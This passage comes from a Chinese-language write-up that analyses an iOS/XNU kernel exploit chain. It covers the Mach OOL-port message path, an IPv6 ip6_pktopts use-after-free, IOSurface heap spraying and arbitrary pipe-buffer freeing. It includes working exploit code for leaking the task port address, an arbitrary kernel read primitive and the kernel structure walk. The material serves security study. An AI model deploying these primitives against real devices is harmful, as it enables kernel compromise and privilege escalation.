		ipc_space_t space = current_space();
		ipc_kmsg_t kmsg;    // 创建kmsg变量

        // 分配缓冲区并从用户态拷贝消息头到内核态
		mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
	    // 转换端口,并拷贝消息体
		mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
		// 发送消息
		mr = ipc_kmsg_send(kmsg, option, msg_timeout);
	}

	if (option & MACH_RCV_MSG) {
		...
	}

	return MACH_MSG_SUCCESS;
}

函数ipc_kmsg_get()ipc_kmsg_t就是内核态的消息存储结构体,拷贝过程看注释,这里基本是在处理kmsg->ikm_header,也就是用户态传入的消息数据

mach_msg_return_t
ipc_kmsg_get(
	mach_vm_address_t       msg_addr,
	mach_msg_size_t size,
	ipc_kmsg_t              *kmsgp)
{
	mach_msg_size_t                 msg_and_trailer_size;
	ipc_kmsg_t                      kmsg;
	mach_msg_max_trailer_t          *trailer;
	mach_msg_legacy_base_t      legacy_base;
	mach_msg_size_t             len_copied;
	legacy_base.body.msgh_descriptor_count = 0;

	// 长度参数检查
	...

    // mach_msg_legacy_base_t结构体长度等于mach_msg_base_t
    if (size == sizeof(mach_msg_legacy_header_t)) {
		len_copied = sizeof(mach_msg_legacy_header_t);
	} else {
		len_copied = sizeof(mach_msg_legacy_base_t);
	}
	
	// 从用户态拷贝消息到内核态
	if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
		return MACH_SEND_INVALID_DATA;
	}

    // 获取内核态消息变量起始地址
	msg_addr += sizeof(legacy_base.header);

    // 直接加上最长的trailer长度,不知道接收者会定义何种类型的trailer,此处是做备用操作
    // typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
    // #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
	msg_and_trailer_size = size + MAX_TRAILER_SIZE;
	
	// 分配内核空间
	kmsg = ipc_kmsg_alloc(msg_and_trailer_size);

    // 初始化kmsg.ikm_header部分字段
    ...

    // 拷贝消息体,此处不包括trailer
	if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
		ipc_kmsg_free(kmsg);
		return MACH_SEND_INVALID_DATA;
	}

    // 通过size找到kmsg尾部trailer的起始地址,进行初始化
	trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
	trailer->msgh_sender = current_thread()->task->sec_token;
	trailer->msgh_audit = current_thread()->task->audit_token;
	trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
	trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
	trailer->msgh_labels.sender = 0;
	
	*kmsgp = kmsg;
	return MACH_MSG_SUCCESS;
}

函数ipc_kmsg_copyin()是我们这里重点分析的逻辑,整个代码我删掉了业务无关的部分,函数ipc_kmsg_copyin_header()跟我们要分析的逻辑无关,主要看函数ipc_kmsg_copyin_body()

mach_msg_return_t
ipc_kmsg_copyin(
	ipc_kmsg_t		kmsg,
	ipc_space_t		space,
	vm_map_t		map,
	mach_msg_priority_t override,
	mach_msg_option_t	*optionp)
{
    mach_msg_return_t 		mr;
    kmsg->ikm_header->msgh_bits &= MACH_MSGH_BITS_USER;
    mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp);
    if ((kmsg->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) == 0)
	    return MACH_MSG_SUCCESS;
	mr = ipc_kmsg_copyin_body( kmsg, space, map, optionp);
	return mr;
}

函数ipc_kmsg_copyin_body()先判断OOL数据是否满足条件,并且视情况对内核空间进行调整,最后调用关键函数ipc_kmsg_copyin_ool_ports_descriptor()

mach_msg_return_t
ipc_kmsg_copyin_body(
	ipc_kmsg_t	kmsg,
	ipc_space_t	space,
	vm_map_t    map,
	mach_msg_option_t *optionp)
{
    ipc_object_t       		dest;
    mach_msg_body_t		*body;
    mach_msg_descriptor_t	*daddr, *naddr;
    mach_msg_descriptor_t	*user_addr, *kern_addr;
    mach_msg_type_number_t	dsc_count;
	// #define VM_MAX_ADDRESS		((vm_address_t) 0x80000000)
    boolean_t 			is_task_64bit = (map->max_offset > VM_MAX_ADDRESS);
    boolean_t 			complex = FALSE;
    vm_size_t			space_needed = 0;
    vm_offset_t			paddr = 0;
    vm_map_copy_t		copy = VM_MAP_COPY_NULL;
    mach_msg_type_number_t	i;
    mach_msg_return_t		mr = MACH_MSG_SUCCESS;
    vm_size_t           descriptor_size = 0;
    mach_msg_type_number_t total_ool_port_count = 0;

	// 目标端口
    dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port;
	// 内核态消息体的起始地址
    body = (mach_msg_body_t *) (kmsg->ikm_header + 1);
    naddr = (mach_msg_descriptor_t *) (body + 1);
	// 如果msgh_descriptor_count为0表示没有数据,直接返回,此处我们设置的是1
    dsc_count = body->msgh_descriptor_count;
    if (dsc_count == 0) return MACH_MSG_SUCCESS;

    daddr = NULL;
    for (i = 0; i < dsc_count; i++) {
		mach_msg_size_t size;
		mach_msg_type_number_t ool_port_count = 0;

		daddr = naddr;

		/* make sure the descriptor fits in the message */
		// 结构体mach_msg_ool_ports_descriptor_t第一个字段为地址
		// void*                         address;
		// 64位是8字节,32位是4字节
		if (is_task_64bit) {
			switch (daddr->type.type) {
			case MACH_MSG_OOL_DESCRIPTOR:
			case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
			case MACH_MSG_OOL_PORTS_DESCRIPTOR:
				descriptor_size += 16;
				naddr = (typeof(naddr))((vm_offset_t)daddr + 16);
				break;
			default:
				descriptor_size += 12;
				naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
				break;
			}
		} else {
			descriptor_size += 12;
			naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
		}
    }

    user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
    // 判断是否需要左移,默认只有1个descriptor的大小,1个长度是16字节,我们设置的是1个,所以不需要移动
    if(descriptor_size != 16*dsc_count) {
        vm_offset_t dsc_adjust = 16*dsc_count - descriptor_size;
        memmove((char *)(((vm_offset_t)kmsg->ikm_header) - dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t));
        kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg->ikm_header - dsc_adjust);
        kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust;
    }

    kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));

    /* handle the OOL regions and port descriptors. */
    for(i = 0; i < dsc_count; i++) {
        switch (user_addr->type.type) {
            case MACH_MSG_OOL_PORTS_DESCRIPTOR: 
                user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr, 
				            user_addr, is_task_64bit, map, space, dest, kmsg, optionp, &mr);
                kern_addr++;
                complex = TRUE;
                break;
        }
    } /* End of loop */ 
    
    ...
}

函数ipc_kmsg_copyin_ool_ports_descriptor()专注处理OOL数据,调用了一个关键的函数ipc_object_copyin()

mach_msg_descriptor_t *
ipc_kmsg_copyin_ool_ports_descriptor(
	mach_msg_ool_ports_descriptor_t *dsc,
	mach_msg_descriptor_t *user_dsc,
	int is_64bit,
	vm_map_t map,
	ipc_space_t space,
	ipc_object_t dest,
	ipc_kmsg_t kmsg,
	mach_msg_option_t *optionp,
	mach_msg_return_t *mr)
{
    void *data;
    ipc_object_t *objects;
    unsigned int i;
    mach_vm_offset_t addr;
    mach_msg_type_name_t user_disp;
    mach_msg_type_name_t result_disp;
    mach_msg_type_number_t count;
    mach_msg_copy_options_t copy_option;
    boolean_t deallocate;
    mach_msg_descriptor_type_t type;
    vm_size_t ports_length, names_length;

    if (is_64bit) {
        mach_msg_ool_ports_descriptor64_t *user_ool_dsc = (typeof(user_ool_dsc))user_dsc;
        addr = (mach_vm_offset_t)user_ool_dsc->address;
        count = user_ool_dsc->count;
        deallocate = user_ool_dsc->deallocate;
        copy_option = user_ool_dsc->copy;
        user_disp = user_ool_dsc->disposition;
        type = user_ool_dsc->type;
        user_dsc = (typeof(user_dsc))(user_ool_dsc+1);
    } else {
    		...
    }
    data = kalloc(ports_length);
    
#ifdef __LP64__
    mach_port_name_t *names = &((mach_port_name_t *)data)[count];
#else
    mach_port_name_t *names = ((mach_port_name_t *)data);
#endif

    objects = (ipc_object_t *) data;
    dsc->address = data;

    for ( i = 0; i < count; i++) {
        mach_port_name_t name = names[i];
        ipc_object_t object;
        if (!MACH_PORT_VALID(name)) {
            objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
            continue;
        }
        kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);
        objects[i] = object;
    }

    return user_dsc;
}

函数ipc_object_copyin()包含两个函数:ipc_right_lookup_write()ipc_right_copyin()

kern_return_t
ipc_object_copyin(
	ipc_space_t		space,
	mach_port_name_t	name,
	mach_msg_type_name_t	msgt_name,
	ipc_object_t		*objectp)
{
	ipc_entry_t entry;
	ipc_port_t soright;
	ipc_port_t release_port;
	kern_return_t kr;
	int assertcnt = 0;

	kr = ipc_right_lookup_write(space, name, &entry);
	release_port = IP_NULL;
	kr = ipc_right_copyin(space, name, entry,
			      msgt_name, TRUE,
			      objectp, &soright,
			      &release_port,
			      &assertcnt);
	...
	return kr;
}

函数ipc_right_lookup_write()调用函数ipc_entry_lookup(),返回值赋值给entry

kern_return_t
ipc_right_lookup_write(
	ipc_space_t		space,
	mach_port_name_t	name,
	ipc_entry_t		*entryp)
{
	ipc_entry_t entry;
	is_write_lock(space);
	if ((entry = ipc_entry_lookup(space, name)) == IE_NULL) {
		is_write_unlock(space);
		return KERN_INVALID_NAME;
	}
	*entryp = entry;
	return KERN_SUCCESS;
}

这里需要提两个概念,一个是结构体ipc_space,它是整个Task的IPC空间,另一个是结构体ipc_entry,它指向的是结构体ipc_object,结构体ipc_space有一个成员is_table专门用于存储当前Task所有的ipc_entry,在我们这里的场景,ipc_entry指向的是ipc_port,也就是说,变量entry拿到的是最开始传入的Task Port在内核态的地址

ipc_entry_t
ipc_entry_lookup(
	ipc_space_t		space,
	mach_port_name_t	name)
{
	mach_port_index_t index;
	ipc_entry_t entry;
	index = MACH_PORT_INDEX(name);
	if (index <  space->is_table_size) {
                entry = &space->is_table[index];
		...
	}

	return entry;
}

层层往回走,函数ipc_object_copyin()的参数objectp会被存储到Caller函数ipc_kmsg_copyin_ool_ports_descriptor()objects[]数组里,数组objects[]在函数ipc_kmsg_copyin_ool_ports_descriptor进行内存空间分配,所以我们只要让ports_length等于inp->in6p_outputopts的大小,就可以让它分配到我们释放掉的空间里

data = kalloc(ports_length);
objects = (ipc_object_t *) data;

先创建一个Ports数组用于存储传入的用户态Task Port,然后构造OOL Message,其它都不重要,主要看msg->ool_ports.addressmsg->ool_ports.count,这两个构造好就行,调用函数msg_send()发送消息,此时就会发生内存分配,将用户态Task Port转为Task Port的内核态地址并写入我们可控的内存空间

mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    msg->body.msgh_descriptor_count = 1;
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    return q;
}

结构体ip6_pktopts的大小是192,我没找到对应的头文件来导入这个结构体,笨办法把整个结构体拷贝出来了,然后调用函数sizeof()来计算,这里根据结构体的成员分布,选择了ip6po_minmtuip6po_prefer_tempaddr进行组合,同时增加了内核指针特征进行判断

uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
    int sock = get_socket_with_dangling_options();
    for (int i = 0; i < 0x10000; i++) {
        mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
        int mtu;
        int pref;
        get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
        get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
        uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
        if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
            mach_port_destroy(mach_task_self(), p);
            close(sock);
            return ptr;
        }
        mach_port_destroy(mach_task_self(), p);
    }
    close(sock);
    return 0;
}

5. 泄露IPC_SPACE内核地址

在泄露Task Port内核态地址的时候,我们利用的是传输Port过程中内核自动将其转换为内核态地址的机制往可控的内存里填充数据,而想要泄露内核任意地址上的数据,就需要使用更加稳定的方式实现原语

首先来看结构体ip6_pktopts,现在有一个指针指向这一片已经释放掉的内核空间,我们通过某些方式可以让这片内核空间写上我们构造的数据,那么就有几个问题需要解决

  1. 怎么申请到这片内存并将数据写进去?
  2. 怎么利用写进去的数据实现内核任意地址读原语?
struct	ip6_pktopts {
	struct	mbuf *ip6po_m;	/* Pointer to mbuf storing the data */
	int	ip6po_hlim;	/* Hoplimit for outgoing packets */
	struct	in6_pktinfo *ip6po_pktinfo;
	struct	ip6po_nhinfo ip6po_nhinfo;
	struct	ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
	struct	ip6_dest *ip6po_dest1;
	struct	ip6po_rhinfo ip6po_rhinfo;
	struct	ip6_dest *ip6po_dest2;
	int	ip6po_tclass;	/* traffic class */
	int	ip6po_minmtu;  /* fragment vs PMTU discovery policy */
	int	ip6po_prefer_tempaddr;
	int ip6po_flags;
};

第二个问题比较好解决,我们可以看到结构体ip6_pktopts有好几个结构体类型成员,比如结构体ip6po_pktinfo,那么我们就可以把这个结构体成员所在偏移设置为我们要泄露数据的地址,设置整型变量ip6po_minmtu为一个特定值,然后堆喷这个构造好的数据到内存里,利用函数getsockopt()读漏洞Socket的ip6po_minmtu是否为我们标记的特定值

如果是特定值说明这个漏洞Socket已经成功喷上了我们构造的数据,再通过函数getsockopt()读取结构体变量ip6po_pktinfo的值即可泄露出构造地址的数据,结构体in6_pktinfo的大小为20字节,所以作者实现了函数read_20_via_uaf()用于泄露指定地址的数据

void* read_20_via_uaf(uint64_t addr) {
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // 设置特征值
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344;
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; // 设置要读的内核地址
    bool found = false;
    int found_at = -1;
    for (int i = 0; i < 20; i++) {
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));  // 堆喷
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // 逐个检查特征值,发现就跳出
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    free(fake_opts);
    if (!found) {
        printf("[-] Failed to read kernel\n");
        return 0;
    }
    // 把其余的Socket都关闭
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    // 通过函数getsockopt()获取fake_opts->ip6po_pktinfo的数据
    void *buf = malloc(sizeof(struct in6_pktinfo));
    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
    close(sockets[found_at]);
    return buf;
}

如何构造任意读的原语方法有了,剩下的关键就是如何将构造好的数据堆喷到inp->in6p_outputopts,我们来学习一种新的堆喷方式:利用IOSurface进行堆风水

关于序列化与反序列化相关的资料大家可以参考这篇文章的第二段Overview of OSUnserializeBinary,写的非常详细

我这里以自己的理解作简单的记录

相关的有两个函数:OSUnserializeBinary()OSUnserializeXML()

我们有两种模式可以构造数据,一种是XML,另一种是Binary,Binary模式是以uint32为类型的数据,当数据头部是0x000000d3的时候,就会自动跳到函数OSUnserializeBinary()处理

uint32长度是32位,也就是4个字节,第32位用于表示结束节点,第24位到30位表示存储的数据,第0到23位表示数据长度

0(31) 0000000(24) 000000000000000000000000

#define kOSSerializeBinarySignature "\323\0\0" /* 0x000000d3 */

enum {
    kOSSerializeDictionary      = 0x01000000U,
    kOSSerializeArray           = 0x02000000U,
    kOSSerializeSet             = 0x03000000U,
    kOSSerializeNumber          = 0x04000000U,
    kOSSerializeSymbol          = 0x08000000U,
    kOSSerializeString          = 0x09000000U,
    kOSSerializeData            = 0x0a000000U,
    kOSSerializeBoolean         = 0x0b000000U,
    kOSSerializeObject          = 0x0c000000U,
    kOSSerializeTypeMask        = 0x7F000000U,
    kOSSerializeDataMask        = 0x00FFFFFFU,
    kOSSerializeEndCollection   = 0x80000000U,
};

举个例子来理解计算过程,0x000000d3表示这是Binary模式,0x81000002表示当前集合kOSSerializeDictionary内有两个元素,接下来依次填充元素,第一个元素是kOSSerializeString,元素长度是4,0x00414141表示元素数据,kOSSerializeBoolean表示第二个元素,最后一位直接可以表示True或者False

0x000000d3 // kOSSerializeBinarySignature
0x81000002 // kOSSerializeDictionary | 2 | kOSSerializeEndCollection
0x09000004 // kOSSerializeString | 4
0x00414141 // AAA
0x8b000001 // kOSSerializeBoolean | 1 | kOSSerializeEndCollection

根据我们的分析,上面一段数据的解析结果如下,注意字符串类型最后的00截止符是会占位的

<dict>
    <string>AAA</string>
    <boolean>1</boolean>
</dict>

这个计算过程一定要理解,接下来的堆喷需要用到这个计算方式

作者使用函数spray_IOSurface()作为调用入口实现了堆喷,32表示尝试32次堆喷,256表示存储的数组元素个数

int spray_IOSurface(void *data, size_t size) {
    return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);
}

函数IOSurface_spray_with_gc()作为封装,直接调用函数IOSurface_spray_with_gc_internal(),最后一个参数callback设置为NULL,此处不用处理

bool
IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	return IOSurface_spray_with_gc_internal(array_count, array_length, 0,
			data, data_size, callback);
}

最终实现在函数IOSurface_spray_with_gc_internal()里,这个函数比较复杂,我们按照逻辑进行拆分

初始化IOSurface获取IOSurfaceRootUserClient

bool ok = IOSurface_init();

计算每一个data所需要的XML Unit数量,因为00截止符的原因,data_size需要减去1再进行计算,其实就是向上取整

size_t xml_units_per_data = xml_units_for_data_size(data_size);

static size_t
xml_units_for_data_size(size_t data_size) {
	return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t);
}

比如字符串长度为3字节,加上00截止符就是4字节,需要1个uint32

0x09000004 // kOSSerializeString | 4
0x00414141 // AAA

那如果字符串长度是7字节,加上00截止符就是8字节,此时就需要2个uint32,也就是上面计算的XML Unit

0x09000008 // kOSSerializeString | 4
0x41414141 // AAAA
0x00414141 // AAA

这里有很多个1,每个1都是一个uint32类型的数据,这个留着后面具体构造的时候再分析,这里计算的是一个完整的XML所需要的XML Unit,其中包含了256个data,每个data所需要占用的XML Unit为函数xml_units_for_data_size()计算的结果,此处加1操作是因为每个data需要一个kOSSerializeString作为元素标签,这个标签占用1个uint32

size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;

上面计算完需要的xml_units之后,下面开始分配内存空间,xml[0]为变长数组

struct IOSurfaceValueArgs {
    uint32_t surface_id;
    uint32_t _out1;
    union {
        uint32_t xml[0];
        char string[0];
    };
};

struct IOSurfaceValueArgs *args;
size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
args = malloc(args_size);

这是很重要的一步,此前计算的几个数据会在这里传入函数serialize_IOSurface_data_array()进行最终的XML构造

uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
uint32_t *key;
size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key);

函数serialize_IOSurface_data_array()的构造过程我们前面有详细的解释,前后6个1在这里体现为kOSSerializeBinarySignature等元素

static size_t
serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size,
		uint32_t **xml_data, uint32_t **key) {
	uint32_t *xml = xml0;
	*xml++ = kOSSerializeBinarySignature;
	*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
	*xml++ = kOSSerializeArray | array_length;
	for (size_t i = 0; i < array_length; i++) {
		uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
		*xml++ = kOSSerializeData | (data_size - 1) | flags;
		xml_data[i] = xml;    // 记录当前偏移,后续用于填充data
		xml += xml_units_for_data_size(data_size);
	}
	*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
	*key = xml++;		// This will be filled in on each array loop.
	*xml++ = 0;		// Null-terminate the symbol.
	return (xml - xml0) * sizeof(*xml);
}

最终构造的XML如下

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[0] -->
    </kOSSerializeData>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[1] -->
    </kOSSerializeData>
    <!-- ... -->
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[array_length - 1] -->
    </kOSSerializeData>
</kOSSerializeArray>
<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0

此时我们拥有了一个XML模板,开始往里面填充数据,填充的数据分为两部分,一部分是构造的data,另一部分是标识key,完成填充后调用函数IOSurface_set_value(),该函数是函数IOConnectCallMethod()的封装,用于向内核发送数据

for (uint32_t array_id = 0; array_id < array_count; array_id++) {
    *key = base255_encode(total_arrays + array_id);
    for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
        memcpy(xml_data[data_id], data, data_size - 1);
    }
    ok = IOSurface_set_value(args, args_size);
}

完整的主代码如下,我去掉了一部分不会访问到的逻辑

static uint32_t total_arrays = 0;
static bool
IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	// 初始化IOSurface,获取IOSurfaceRootUserClient用于函数调用
	bool ok = IOSurface_init();
	// 此处extra_count为0,每次堆喷的数组长度为256,数组元素就是我们构造的数据data
	uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0);
    // 计算每一个数组元素data所需要的节点数量
	size_t xml_units_per_data = xml_units_for_data_size(data_size);
	size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
	// Allocate the args struct.
	struct IOSurfaceValueArgs *args;
	size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
	args = malloc(args_size);
	
    // Build the IOSurfaceValueArgs.
	args->surface_id = IOSurface_id;
	
    // Create the serialized OSArray. We'll remember the locations we need to fill in with our
	// data as well as the slot we need to set our key.
    uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
	uint32_t *key;
	size_t xml_size = serialize_IOSurface_data_array(args->xml,
			current_array_length, data_size, xml_data, &key);
	
    // Keep track of when we need to do GC.
	size_t sprayed = 0;
	size_t next_gc_step = 0;
	
	for (uint32_t array_id = 0; array_id < array_count; array_id++) {
		// If we've crossed the GC sleep boundary, 
        // sleep for a bit and schedule the next one.
		// Now build the array and its elements.
		*key = base255_encode(total_arrays + array_id);
		for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
			// Copy in the data to the appropriate slot.
			memcpy(xml_data[data_id], data, data_size - 1);
		}
		
        // Finally set the array in the surface.
		ok = IOSurface_set_value(args, args_size);
		if (ok) {
			sprayed += data_size * current_array_length;
		}
	}
	if (next_gc_step > 0) {
		// printf("\n");
	}
	free(args);
	free(xml_data);
	total_arrays += array_count;
	return true;
}

堆喷的细节就分析到这里,所以在利用中,我们构造好堆喷数据和长度之后,就可以调用函数rk64_via_uaf()进行堆喷操作

uint64_t rk64_via_uaf(uint64_t addr) {
    void *buf = read_20_via_uaf(addr);
    if (buf) {
        uint64_t r = *(uint64_t*)buf;
        free(buf);
        return r;
    }
    return 0;
}

我们在上一步已经获取了Task Port的内核态地址,根据结构体偏移,我们可以获取到IPC_SPACE的内核地址

uint64_t ipc_space_kernel = rk64_via_uaf(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
if (!ipc_space_kernel) {
    printf("[-] kernel read primitive failed!\n");
    goto err;
}
printf("[i] ipc_space_kernel: 0x%llx\n", ipc_space_kernel);

获取一下数据

[i] our task port: 0xfffffff001c3cc38
[i] ipc_space_kernel: 0xfffffff000a22fc0

6. 任意释放Pipe Buffer

Pipe管道是一个可以用于跨进程通信的机制,它会在内核缓冲区开辟内存空间进行数据的读写,fds[1]用于写入数据,fds[0]用于读取数据

比如现在读写下标在0的位置,我们写入0x10000字节,那么下标就会移动到0x10000,当我们读取0x10000字节的时候,下标就会往回移动到0

最后一句写8字节到缓冲区里是为了用于后面的堆喷操作可以用构造的数据填充这片缓冲区,可以直接读取8字节的数据

int fds[2];
ret = pipe(fds);
uint8_t pipebuf[0x10000];
memset(pipebuf, 0, 0x10000);
write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel
read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position
write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes

当我们调用函数setsockopt()时,会调用到函数ip6_setpktopt()

setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo));

当选项名为IPV6_PKTINFO时,我们会发现一个逻辑:如果pktinfo->ipi6_ifindex0&pktinfo->ipi6_addr开始的12个字节的数据也都是0,就会调用函数ip6_clearpktopts()释放掉当前的ip6_pktopts->in6_pktinfo,这个判断条件简化一下就是整个结构体数据都是0就会被释放

define	IN6_IS_ADDR_UNSPECIFIED(a)	\
	((*(const __uint32_t *)(const void *)(&(a)->s6_addr[0]) == 0) && \
	(*(const __uint32_t *)(const void *)(&(a)->s6_addr[4]) == 0) && \
	(*(const __uint32_t *)(const void *)(&(a)->s6_addr[8]) == 0) && \
	(*(const __uint32_t *)(const void *)(&(a)->s6_addr[12]) == 0))

static int
ip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt,
    int sticky, int cmsg, int uproto)
{
	int minmtupolicy, preftemp;
	int error;
	boolean_t capture_exthdrstat_out = FALSE;

	switch (optname) {
	case IPV6_2292PKTINFO:
	case IPV6_PKTINFO: {
		struct ifnet *ifp = NULL;
		struct in6_pktinfo *pktinfo;

		if (len != sizeof (struct in6_pktinfo))
			return (EINVAL);

		pktinfo = (struct in6_pktinfo *)(void *)buf;

		if (optname == IPV6_PKTINFO && opt->ip6po_pktinfo &&
		    pktinfo->ipi6_ifindex == 0 &&
		    IN6_IS_ADDR_UNSPECIFIED(&pktinfo->ipi6_addr)) {
			ip6_clearpktopts(opt, optname);
			break;
		}
		
		...
	}

函数ip6_clearpktopts()调用FREE()来执行释放缓冲区操作,这里面涉及到了堆的分配释放问题,由于并不是本文分析的重点,不过多深入

#define R_Free(p) FREE((caddr_t)p, M_RTABLE);
#define FREE(addr, type) \
	_FREE((void *)addr, type)
#define FREE(addr, type) \
	_FREE((void *)addr, type)
#define free _FREE
#define FREE(addr, type) _free((void *)addr, type, __FILE__, __LINE__)

void
ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname)
{
	if (optname == -1 || optname == IPV6_PKTINFO) {
		if (pktopt->ip6po_pktinfo)
			FREE(pktopt->ip6po_pktinfo, M_IP6OPT);
		pktopt->ip6po_pktinfo = NULL;
	}
	
	...
}

我们现在想要实现释放Pipe缓冲区只需要先获取它的地址,然后IOSurface堆喷使用这个Pipe缓冲区地址构造的数据,通过调用函数setsockopt()设置整个in6_pktinfo结构体数据为0就可以把这个Pipe缓冲区给释放掉

根据我们泄露出来的Task Port获取Pipe缓冲区地址,注意不同的系统版本偏移需要有所调整

uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));
uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
